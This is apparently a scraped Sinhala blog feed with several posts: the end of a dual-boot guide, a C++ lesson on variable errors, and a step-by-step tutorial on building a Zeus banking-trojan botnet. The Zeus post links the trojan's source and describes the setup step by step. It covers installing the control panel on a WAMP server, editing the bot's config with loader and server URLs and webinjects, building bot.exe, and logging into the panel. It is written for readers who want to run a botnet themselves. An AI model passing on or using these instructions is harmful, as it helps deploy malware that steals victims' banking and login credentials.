<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJgfRLgYmlwTrrlHfO7ckoZBBCgLVRikQrlPEqeaS5Oe7KAihkPqnBG2wa4INXXVxG8g8Qszkfs-pDJNrO8F2btkbSOT99N8JRhMlyufXDDLetv3tWNEEoG-uWWYj1jPK6VF_VETPhAJFO/s1600/22.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgJgfRLgYmlwTrrlHfO7ckoZBBCgLVRikQrlPEqeaS5Oe7KAihkPqnBG2wa4INXXVxG8g8Qszkfs-pDJNrO8F2btkbSOT99N8JRhMlyufXDDLetv3tWNEEoG-uWWYj1jPK6VF_VETPhAJFO/s1600/22.png" height="240" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH2Ip3N3Kivzhi7u3w0XQNpL8-U5EFtR4vMFAMlUQvCaIwzej47_SU0aRU_voX1lB1uXLHhYcgWy9ivt3JmZz1CrkqSQF5hSapr3PMnjB8EDhvuuSXVdRAfmhbLP1wWJ7DNpy5IoXGd665/s1600/23.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhH2Ip3N3Kivzhi7u3w0XQNpL8-U5EFtR4vMFAMlUQvCaIwzej47_SU0aRU_voX1lB1uXLHhYcgWy9ivt3JmZz1CrkqSQF5hSapr3PMnjB8EDhvuuSXVdRAfmhbLP1wWJ7DNpy5IoXGd665/s1600/23.png" height="73" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: center;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
දැන් වැඩේ අවසානයි. මීලඟට පරිඝණකය boot කරන අවස්තාවේදී ඔයාලට බලාගන්න පුළුවන් ලිනක්ස් grub screen එක. එතනදී අපිට අවශ්ය OS එක තොරා දීමක් කරන්න ඕනේ. සමාන්යෙයන් default OS එක විදිහට තියෙන්නේ ලිනක්ස් OS එක තමයි. වින්ඩොස් boot කිරීම සඳහා එය තෝරා දිය යුතුයි. මීලඟ පොස්ට් එකෙන් grub එක වෙනස් කරල default OS එක විදිහට වින්ඩෝස් සකසන හැටි සහ ලිනක්ස් ස්තාපනයෙන් පසු මුලින්ම කල යුතු දෙවල් කීපයක් ගැන කියල දෙන්නම්. ස්තූතියි. </div>
Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com4Sri Lanka7.8730539999999989 80.7717969999999923.8497184999999989 75.608223 11.896389499999998 85.935370999999989tag:blogger.com,1999:blog-1015943570259670143.post-82775954257806473362014-10-11T21:22:00.000+05:302014-10-11T21:22:31.579+05:30C++ සිංහලෙන් පාඩම 8 - Variables බාවිතයේදී නිතර ඇතිවන ගැටලු. <div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigXy3mFNjdUI6_NJpBd92QaOMSzDEBxDpdXiM_iqQj7DAE6TAbvAYalbX_qZ1u9Yi8jCc3Gugo88oV9B5omC5q1r5bKTxN9FJ8LMHjZAB197lGSlJLOY2n66jbzFn6LzS95WCS4pu7UY1Y/s1600/x.jpg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEigXy3mFNjdUI6_NJpBd92QaOMSzDEBxDpdXiM_iqQj7DAE6TAbvAYalbX_qZ1u9Yi8jCc3Gugo88oV9B5omC5q1r5bKTxN9FJ8LMHjZAB197lGSlJLOY2n66jbzFn6LzS95WCS4pu7UY1Y/s1600/x.jpg" height="180" width="320" /></a></div>
variable එකක් declare කිරීම මගින් අපට හැකි වෙනව අපේ program එකට අලුතින් දේවල් එකතු කරගන්න. නමුත් මෙම variable එකක් declare කිරීමේදී අපට යම් ගැටළු ඇතිවන්න පුලුවන්. උදාහරනයක් විදිහට, නිවැරදිව variable එක declare කරන්නේ නැතිව එය බාවිතා කරොත් මේ වගේ error එකක් compiler එක මගින් දැනුම් දෙනව. <br /><br /><span style="color: #666666;">error: 'x' was not declared in this scope</span><br /><br />මම මේ උදාහරනය ගත්තේ Code::Blocks වලින් සමහර විට වෙනත් compiler වල මේක වෙනස් වෙන්න පුළුවන්. <br /><br />ඊලඟට අපිට පුළුවන් එකම type එකේ variables කීපයක් බාවිතා කරන්න නමුත් කිසිසේත්ම අපිට බෑ එකම variable එක types කීපයක බාවිතා කරන්න. උදා - val1 කියන variable එක double සහ int කියන types දෙකටම යොදා ගැනීමේ හැකියාවක් නෑ. එහෙම කලොත් මේ වගේ errors මතු වෙන්න පුළුවන්. <br /><br /><span style="color: #666666;">error:conflicting declaration 'double val1'<br />error:'val1' has a previous declaration as `int val1'<br />error:declaration of `double val1'<br />error:conflicts with previous declaration `int val1'</span><br /><br />ඊලඟට ඇතිවන තවත් ගැටළුවක් තමයි semi-colon එක දාන්න අමතක කරන එක.<br /><br /><span style="color: #666666;">int x // මේක වැරදියි. </span><br /><br />මෙවැනි අවස්තාවක විවිද error messages අපිට දකින්න පුළුවන්. <br /><br />අවසාන වෂයෙන් code එක compilation වන අවස්තාවේ වැරැද්දක් ලෙස නොපෙන්වුවත්, variable එකකට value එකක් initialize නොකීරීම program එක ක්රියාත්මක වන අවස්තාවේ ප්රතිඵලය වෙනස් වෙන්න බලපාන්න පුලුවන්. එමනිසා අපි variable එකක් declare කරන සෑම අවස්තාවකම ඒ variable එක බාවිතා කරන්න කලින් එකට value එකක් initialize කරන්න මතක තියාගන්න ඔනේ. උදා - <br /><br /><span style="color: #666666;">int x;<br />int y;<br />y = 5;<br />x = x + y;</span><br /><br />මෙහි y ට 5 කියල අගයක් ලබා දී තිබුනත් x ට මුලින් අගයක් ලබාදී නෑ. මෙහිදී program එක run වන අවස්තිවේදී කුමක් හෝ අගයක් x ට ආදේශ කරගැනීමක් සිද්දවෙනව එම නිසා result එක අපිට හිතාගන්නවත් බැරි විදිහේ එකක් වෙන්න පුළුවන්. <br /><br /><b><u><span style="color: #0b5394;">Case sensitivity </span></u></b><br /><br />මේක කියන්න අමතකම වුනානේ අනේ. case sensitivity කියන්නේ C++ වලදී ගොඩක් අවදානය යොමු කරන්න ඔන දෙයක්. "X සහ x" බැලූ බැල්මට එකවගේ පෙනුනට ඒක එහෙම නෑ එකෙක් තාරාවෙක් අනික පාත්තයෙක්. නෑ නෑ එහෙම නෙමේ C++ වලදී uppercase සහ lowercase පිලිබඳ වඩා සැලකිලිමත් වෙන්න ඔනෙ මොකද C++ වල සෑම language keyword එකක්ම, සෑම function එකක්ම සහ සෑම variable එකක්ම case sensitive කියන නීතියට යටත් වෙනව. උදා - අපි variable එකක් declare කිරීමේදී "X" ලෙස ලබාදීල එම variable එක බාවිතා කරන විට "x" ලෙස ලබා දුනනොත්, නිවැරදිව compiler වෙන්නේ නෑ මේ වගේ error එකක් එනව "error: 'x' was not declared in this scope".<br /><br /><span style="color: #0b5394;"><b><u>variables නම් කිරීම.</u></b></span><br /><br />variable එකක් declare කිරීමේදී එම variable එකට තේරුමක් ඇති සහ variable එක විස්තර වෙන විදිහේ නමක් බාවිතා කිරීම ඉතා වැදගත්. මොකද මේ වගේ නම් යොදා ගත්තොත් අපි ලෝක අමාරුවක වැටෙනව. උදා - <br /><br /><span style="color: #666666;">val1 = val2 * val3; </span><br /><br />මොකද්ද මේකෙ තේරුම? කාටවත් කියන්න බෑ. ඔයා code එකක් ලියාගෙන යනකොට ඔයා හිතනව ඔයාට මේක මතක තියෙයි කියල. නමුත් ඔයා ඊලඟ දවසේ code එක බලනකොට ඔයාට හිතාගන්න බෑ මෙකෙන් මොකද්ද වෙන්නේ කියල. ඒ නිසා හොඳම දේ තමයි හැම විටම variable එක විස්තර වෙන විදිහට නමක් යොදා ගන්න. ඒක ඔයාට ගොඩක්ම පහසු වෙයි වැරදි හඳුනා ගැනීමේදී. උදා - <br /><br /><span style="color: #666666;">area = width * height; </span><br />
<br />
අදනම් පාඩම චුට්ටයි වගේද මන්ද ටිකක් හදිස්සියෙන් ලියල දැම්මේ. කමක් නෑ නේද චුට්ට චුට්ට හරි ඉක්මනින් දාන්නම්කෝ. අමතක නොකර පාඩම් මාලාව ගැන අදහසක් දාල යන්න. ඔයාගේ අදහස් ගොඩක් වටිනව මේක දිගටම කරගන යන්න. Anonymoushttp://www.blogger.com/profile/07265846950157282766noreply@blogger.com1tag:blogger.com,1999:blog-1015943570259670143.post-56329545542031218702014-09-30T15:01:00.001+05:302014-09-30T19:24:19.657+05:30Remote Administration Tool(RAT) Zeus BotNet<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZlb4K7c6ASIwn1opxJxw2zvlG40ZVMUVhlEs6d2bqBWKESduH8tz9pNb2QhyNlhCCoZxMrVSO6C3Isl2odHj8T_wNEAzHAM_byH80a9NJ8DyKbsVh3cehHthvnpjOdu7rr9QQqyQeXPnk/s1600/6052bdb49dbc65265ad4c8747156c04e_large.jpeg" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiZlb4K7c6ASIwn1opxJxw2zvlG40ZVMUVhlEs6d2bqBWKESduH8tz9pNb2QhyNlhCCoZxMrVSO6C3Isl2odHj8T_wNEAzHAM_byH80a9NJ8DyKbsVh3cehHthvnpjOdu7rr9QQqyQeXPnk/s320/6052bdb49dbc65265ad4c8747156c04e_large.jpeg" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
<div class="separator" style="clear: both; text-align: left;">
ගොඩක්ම දෙනා හොයන දෙයක් තමයි කොහොමද නිවැරදිව Remote Administration Tool (RAT) එකක් install කරගන BotNet එකක් හදාගන්නේ කියල. ඉතින් අද ගොඩක්ම ඉන්නේ google search කරන Hackers ලනේ (මොකද කට්ටිය හිතන් ඉන්නේ ඉන්ටර්නෙට් එක තියෙන්නේ ගූගල් එකේ කියලනේ). ඒ විදිහටනම් මේ වගේ දෙයක් හොයාගන්න අමාරුයි මොකද 95% තියෙන්නේ බොරුව. කොහේ හරි තියනව BotNet tutorial කියල, අපි යනව, BotNet එකක් දෙනව Download කරගන්න, අපි Download කරනව, දන්නෙම නැතුව infected වෙනව. ඔක තමයි ගොඩදෙනෙක්ට වෙන්නේ. ඉතින් මම අද ඔයාලට කියල දෙන්න යන්නේ කොහොමද නියම RAT එකක් configure කරගන්නේ කියල. මම අද මේකට බාවිතා කරන්නේ Zeus BotNet කියන Trojan horse වර්ගයේ RAT එකක්.
</div>
<br />
<span style="color: #0b5394;">හොඳයි අපි මුලින්ම බලමු මොකද්ද මේ Zeus(සියුස්) කියන්නේ කිල,</span>
<br />
<br />
කලින් කිවුව වගේ Zeus කියන්නේ <a href="http://en.wikipedia.org/wiki/Trojan_horse_%28computing%29" target="_blank">Trojan horse</a> එකක්. අතීතයේදී, පරිඝණක වල තිබ්බ banking information, logging information වගේ ගොඩක්ම වටින තොරතුරු සොරා ගැනීමට තමයි මේක බාවිතා කරේ. 2007 අවුරුද්දේ මැදදදි තමයි මුලින්ම මේක හඳුන ගන්නේ ඇමරිකා එක්සත් ජනපදයේ ප්රවාහන දෙපාර්තමේන්තුවේ පරිඝණක වලට ආසාදනය වෙලා තියෙද්දි. එතනින් එහාට 2009 අවුරුද්දෙදී මේක ගොඩක්ම පැතිරිලා තියනව. 2009 අවුරුදදේ Prevx කියන security company එක හොයාගෙන තියනව Zeus ඒවන විට ලොකය පුරා තියන websites වල FTP accounts 74,000 වැඩිය ආක්රමනය කරල ඉවරයි කියල. ඒ අතර Bank of America, NASA, Monster.com, ABC, Oracle, Play.com, Cisco, Amazon, and BusinessWeek වගේ විශාල companies ප්රමානයක් තිබිල තියනව.
<br />
<br />
ඔයාලට මේ ගැන වැඩිදර තොරතුරු අවශ්යනම් <a href="http://pastehtml.com/view/1ego60e.html" target="_blank">මෙතනින්</a> බලාගන්න පුලුවන්. ඒ වගේම කියන්න ඔනේ මේක windows os තියන පරිඝණකවල තමයි ක්රියා කරන්නේ. මේක හදල තියෙන්නේ Visual C++ බාවිතා කරල. කාට හරි අවශ්යනම් මේ Trojan horse එකේ source code එක Download කරගන්න GitHub එකේ තියනව <a href="https://github.com/Visgean/Zeus" target="_blank">මෙතනින්</a> ගන්න.
<br />
<br />
<span style="color: #0b5394;">හොඳයි අපි එහෙනම් පටන් ගමු වැඩේ. අපිට මේකට ඔන කරනව:-</span>
<br />
<br />
1. Remote Administration Tool(RAT) Zeus BotNet (පහලින් Download කරගන්න.)
<br />
<br />
2. Web Server එකක් සහ Database Server එකක්. මම මේ tutorial එකේදි බාවිතා කරන්නේ WAMP Server(Windows,Apache,MySQL,PHP Server) <a href="http://www.wampserver.com/en/" target="_blank">(Download)</a><br />
<br />
1 step: මුලින්ම WAMP Server එක install කරගන්න ඔනේ. ඒකනම් මං මෙතන දාන්න යන්නේ නෑ ඔයාලට කරගන්න පුලුවන්නේ. අනික ඉතින් WAMP Server එකවත් install කරගන්න බැරිනම් මොන හැකිංද.
<br />
<br />
2 step: දැන් internet browser එකේ http://localhost/phpmyadmin කියල ගහල එන්ටර් කරන්න. මෙතනදි username and password ඉල්ලනව ඒක දීල යන්න. ඊට පස්සේ අපි new database එකක් create කරන්න ඔනනෙ. මම දෙනව ඒකේ නම විදිහට Zeus කියල.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn52BrK-sNRAXZ-w4YviBUlw3A-x817TiDvIuSrGxkNISZeKMarAOSt33OCa5kfAaxro8iuIL-ZNS4yapW0we_LUl_Qhy1rVHH9Faq7G80vZ2DCNBWpIiunQJHGjgXWy3uMtU2BsdgbQrO/s1600/capture-20140927-142222.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjn52BrK-sNRAXZ-w4YviBUlw3A-x817TiDvIuSrGxkNISZeKMarAOSt33OCa5kfAaxro8iuIL-ZNS4yapW0we_LUl_Qhy1rVHH9Faq7G80vZ2DCNBWpIiunQJHGjgXWy3uMtU2BsdgbQrO/s1600/capture-20140927-142222.png" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEganYpHufUbC-vqRP60JY_4_yaLYYYxF1PzPVQPsELGMrYCjjQDRloeR7x7CJCsnWL0l61gGHbAMC7tXeNaCBb0Inht8pZS8pGpPvBGlTPfgqxJZpezfn8LNtHebSZJp1ufsvOVmIgoev9C/s1600/capture-20140927-155406.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEganYpHufUbC-vqRP60JY_4_yaLYYYxF1PzPVQPsELGMrYCjjQDRloeR7x7CJCsnWL0l61gGHbAMC7tXeNaCBb0Inht8pZS8pGpPvBGlTPfgqxJZpezfn8LNtHebSZJp1ufsvOVmIgoev9C/s1600/capture-20140927-155406.png" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh783ikhfoXKrq2R-yTJg7try499pIAntXtKK_3phCIPRHKFVpT9z7Mmb6s6atScXQCkv3BrebyB1uf52mah1oT_hdDLerSKc0cz_KqS1NIGjjGOGEHDG7DQxoqC6Zm4LDt8noMKoj5jaKN/s1600/capture-20140927-155730.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh783ikhfoXKrq2R-yTJg7try499pIAntXtKK_3phCIPRHKFVpT9z7Mmb6s6atScXQCkv3BrebyB1uf52mah1oT_hdDLerSKc0cz_KqS1NIGjjGOGEHDG7DQxoqC6Zm4LDt8noMKoj5jaKN/s1600/capture-20140927-155730.png" height="230" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
3 step: හොඳයි ඊලඟට ඔයා Download කර ගත්ත RAT එක extract කරන්න ඒකේ තියනව folders 3ක් builder, other, සහ server[php] කියල. ඊලඟට c:\wamp\www folder එකට ගිහින් ඒකේ හදන්න Zeus කියල folder එකක්. ඊටපස්සේ අර server[php] එකේ තියන ඔකකොම zeus එකට කොපි කරන්න.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMG0BO0Cv32zK3NIuAz7P-4QguJTx0GH3w6M_aE_OUtXqFyJIj8C2WhGFryQvmBDAy56t1YLirEglFnMJFGMbmm_vzPG37a_m5P2pn41JTEjjfb55JHxv16b5RROFMqLAcp5akghKG9lHV/s1600/capture-20140927-160222.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgMG0BO0Cv32zK3NIuAz7P-4QguJTx0GH3w6M_aE_OUtXqFyJIj8C2WhGFryQvmBDAy56t1YLirEglFnMJFGMbmm_vzPG37a_m5P2pn41JTEjjfb55JHxv16b5RROFMqLAcp5akghKG9lHV/s1600/capture-20140927-160222.png" height="240" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPOHt1oPdukUd6ManrIvD-7IBqibBaKVr8rO8cgWxvO2XOTBZHpFC1T8j5pdUl29lD42YD3Fh7UIt2CP9po_XHnNfKTBjYLXQqqFd_tvoqoesnyPRJMmQsERnxZ7miUgO07bqH9kuNLZQJ/s1600/capture-20140927-160532.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhPOHt1oPdukUd6ManrIvD-7IBqibBaKVr8rO8cgWxvO2XOTBZHpFC1T8j5pdUl29lD42YD3Fh7UIt2CP9po_XHnNfKTBjYLXQqqFd_tvoqoesnyPRJMmQsERnxZ7miUgO07bqH9kuNLZQJ/s1600/capture-20140927-160532.png" height="240" width="320" /></a></div>
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
5 step: දැන් අපහු browser එකට ගිහින් http://localhost/zeus/install ගහල එන්ටර් කරන්න. ඊට පස්සේ අපි මෙතන මේ විදිහට විස්තර ටික දෙන්න ඔනේ.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho3M0qhgOneCwDcoAsowFtgSE8dwhwy3bq4vwYkumvSFRYV_QG4xWv7PZ9XHqyCLHhYSavSPXpRzntPvr9XRAFYVcDZwu0MXJ4bsSrs6dqI0tc9qS5J1ry5n19hsddyxqvr8EDk1NA3j7T/s1600/capture-20140927-160828.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEho3M0qhgOneCwDcoAsowFtgSE8dwhwy3bq4vwYkumvSFRYV_QG4xWv7PZ9XHqyCLHhYSavSPXpRzntPvr9XRAFYVcDZwu0MXJ4bsSrs6dqI0tc9qS5J1ry5n19hsddyxqvr8EDk1NA3j7T/s1600/capture-20140927-160828.png" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<div class="separator" style="clear: both; text-align: left;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNKO_7O3n816DtcGcDalSFyJZGtno3fXlIf_hmz0LqGDrg_wg75W6jKrjLnF6dPZB9uwBLdqCSk3hFx9ChM40lC7BFdeWrgoS_AHzL2SM4xVZEN38q5vU5HJ20oVlACXBieeVYLTERJ7L4/s1600/capture-20140927-161238.png" imageanchor="1" style="clear: left; float: left; margin-bottom: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEjNKO_7O3n816DtcGcDalSFyJZGtno3fXlIf_hmz0LqGDrg_wg75W6jKrjLnF6dPZB9uwBLdqCSk3hFx9ChM40lC7BFdeWrgoS_AHzL2SM4xVZEN38q5vU5HJ20oVlACXBieeVYLTERJ7L4/s1600/capture-20140927-161238.png" height="320" width="256" /></a> 1- බොට් එකට ලොග් වෙන්න මෙතනට ඔයාගේ යුසර් නේම් එක දෙන්න.</div>
2- මෙතනට පාස්වර්ඩ් එකක්.
<br />
3- ඔයාගේ MySQL database එකේ IP addres එක තමයි මෙකනට දෙන්න ඔනේ. ඒ කියන්නේ ඔයාෙග් කොම් එකේ IP addres එක. CMD එකේ ipconfig කියල ගහුවනම් ලේසියෙන්ම හොයා ගන්න පුලුවන්. මෙතනට මේ IP addres එක දෙන්න වෙන්නේ ඔයා මේ බොට් ක්රියාත්මක කරනවනම් විතරයි ඒ කියන්නේ remote access එනවනම් විතරයි. මේක නිකන් ටෙස් කරන්නනම් localhost කියල හරි 127.0.0.1 කියල දෙන්න.
<br />
4-5- මෙතනට MySQL database එකේ යුසර් නේම් එක සහ පාස්වර්ඩ් එක.
<br />
6- අපි හදාගත්තු database එකේ නම(zeus).
<br />
7- ඔයාට කැමති key එකක් දෙන්න.
<br />
<br />
දැන් install කරන්න. install වෙන්න ටික වෙලාවක් යනව වැඩේ හරිනම් මෙහෙම පෙන්නයි.
<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPfBBAVfLm4I1rAS7pa45sHtlWwhdQ5M-R021lQg1IGejuQD53BxQpT5cSM381R8oMPRxhVUPzoa-qLciNf2M4hC-vTxNbUUsNp34m_Iff0ruI9Z3FKPZyvvuYYMkr8hWXSxTOYSDlJD0F/s1600/capture-20140927-161839.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgPfBBAVfLm4I1rAS7pa45sHtlWwhdQ5M-R021lQg1IGejuQD53BxQpT5cSM381R8oMPRxhVUPzoa-qLciNf2M4hC-vTxNbUUsNp34m_Iff0ruI9Z3FKPZyvvuYYMkr8hWXSxTOYSDlJD0F/s1600/capture-20140927-161839.png" height="211" width="320" /></a></div>
<br />
6 step: අපිට ඊලඟට කරන්න තියෙන්නේ bot client එක configur කරගන්න එත. මුලින්ම යන්න download කරගත්ත එකේ builder folder එකට ඒකේ තියනව config.txt කියල file එකක්. ඒක open කරගන මේ විදිහට එඩිට් කරගන්න. ඔයාගේ setting වලට අනුව url_config, url_loader සහ url_server තුනම හදාගන්න ඔනේ. ඒ වගේම webinjects.txt එකට path එක හදාගන්නත් ඔනනේ මේ විදිහට.
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGUL4xtK32HoUWVaOWj6AE4yLtLuJlkUheuQYfiz7V-tkd7-sECZm9CP528MJBAcOY9cHaq2vLcaR0ocCBUp5eebK9c7KzeHQdf8WAreYGC98awkKYt6mV7dhhkU-MC-op6JH-mKoXzbpl/s1600/capture-20140930-112556.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgGUL4xtK32HoUWVaOWj6AE4yLtLuJlkUheuQYfiz7V-tkd7-sECZm9CP528MJBAcOY9cHaq2vLcaR0ocCBUp5eebK9c7KzeHQdf8WAreYGC98awkKYt6mV7dhhkU-MC-op6JH-mKoXzbpl/s1600/capture-20140930-112556.png" height="230" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: left;">
<br /></div>
7 step: හොඳයි ඊලඟට builder folder එකේ තියන zsb.exe එක open කරන්න එකේ builder කියන එකට ගිහින් අපි එඩිට් කරගත්තු config.txt එක දෙන්න ඔනේ. ඊලඟට මේ විදිහට config.bin එකයි bot.exe එකයි හදාගන්න ඔනේ. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
</div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgca64lx_Mh3znYUT7sd4iB6l-6CqZ6PqUgzF06I7jDJcIAKOaO6mD5S_SJ40KSfNIhr9MR9EECVK449CZPrDm8PEN37uJjcMZUAty4sUMv5SWsY2cPBqrredHz4E93KpW3Fd4npr_nQq0e/s1600/capture-20140930-113133.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEgca64lx_Mh3znYUT7sd4iB6l-6CqZ6PqUgzF06I7jDJcIAKOaO6mD5S_SJ40KSfNIhr9MR9EECVK449CZPrDm8PEN37uJjcMZUAty4sUMv5SWsY2cPBqrredHz4E93KpW3Fd4npr_nQq0e/s1600/capture-20140930-113133.png" height="214" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhyphenhyphen-p30pmQqgmLPredO2FhqHgJXv45vLY2pJ6b4upbZ_vXgei60nMlo0IUi8jAIUC1XDVPARe_L-jBBtTfkY6drXURP4SME0jfj4uSivtfnKVffRxrW15vWpywE0ux2WND4pYfXtplezs/s1600/capture-20140930-113515.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEiyhyphenhyphen-p30pmQqgmLPredO2FhqHgJXv45vLY2pJ6b4upbZ_vXgei60nMlo0IUi8jAIUC1XDVPARe_L-jBBtTfkY6drXURP4SME0jfj4uSivtfnKVffRxrW15vWpywE0ux2WND4pYfXtplezs/s1600/capture-20140930-113515.png" height="238" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2Id7u5jSLDc0ba3KgPXIJFEN3AQZSXV7r2c7j1UAYR5Ln7xA_2cFkvlEbCd19TzNL-7bGoXS6BCup9WDt1i14_dRNOuHwWK768gcIu8JmKA8edA-p6dVf086VcoMK4a2XYYpLWL3F2hz9/s1600/capture-20140930-113708.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEh2Id7u5jSLDc0ba3KgPXIJFEN3AQZSXV7r2c7j1UAYR5Ln7xA_2cFkvlEbCd19TzNL-7bGoXS6BCup9WDt1i14_dRNOuHwWK768gcIu8JmKA8edA-p6dVf086VcoMK4a2XYYpLWL3F2hz9/s1600/capture-20140930-113708.png" height="214" width="320" /></a></div>
<br />
<br />
8 step: දැන් ඔයා හදාගත්ත config.bin එකයි bot.exe එකයි මෙතනට කොපි කරගන්න. <br />
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjqhsFvHU47Bo4Rn5DRcxmu3Uy3pHrat_WUrs-6ILpkWmv0ZF3gpBab34voMbSsVHyKzHJcTAKp880RLiiCn6duaWfntCa19AvftWY0SoT6y_Va6f17IBH9RJ2qQ2IN8LNxh_i_Hb52I91/s1600/capture-20140930-113819.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhjqhsFvHU47Bo4Rn5DRcxmu3Uy3pHrat_WUrs-6ILpkWmv0ZF3gpBab34voMbSsVHyKzHJcTAKp880RLiiCn6duaWfntCa19AvftWY0SoT6y_Va6f17IBH9RJ2qQ2IN8LNxh_i_Hb52I91/s1600/capture-20140930-113819.png" height="240" width="320" /></a></div>
<br />
<div class="separator" style="clear: both; text-align: center;">
<a href="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhljFToRVpH0a95xa4Ub9N0R_VVTUej0Jt5dMIC82IdvcYR29dV152vCXjkntxWbLmpy_HA3cRmgz2KSV_EtbHMiNE13nMFx0JcAtXU2L4DM98beiG9VzQbeFxK1aoIjPh-fk2UqbFq-V6C/s1600/capture-20140930-113951.png" imageanchor="1" style="margin-left: 1em; margin-right: 1em;"><img border="0" src="https://blogger.googleusercontent.com/img/b/R29vZ2xl/AVvXsEhljFToRVpH0a95xa4Ub9N0R_VVTUej0Jt5dMIC82IdvcYR29dV152vCXjkntxWbLmpy_HA3cRmgz2KSV_EtbHMiNE13nMFx0JcAtXU2L4DM98beiG9VzQbeFxK1aoIjPh-fk2UqbFq-V6C/s1600/capture-20140930-113951.png" height="240" width="320" /></a></div>
<br />
<br />
ඊට පස්සේ browser එක open කරල http://localhost/zeus/cp.php මෙතනට යන්න. යුසර් නේම් එකයි සහ පාස්වර්ඩ් එකයි දුන්නහම ඔයාට ඔයාගේ botnet එකේ cp එකට ලොග් වෙන්න පුලුවන්.<br />
<br />
<br />
<div class="separator" style="clear: both; text-align: center;">
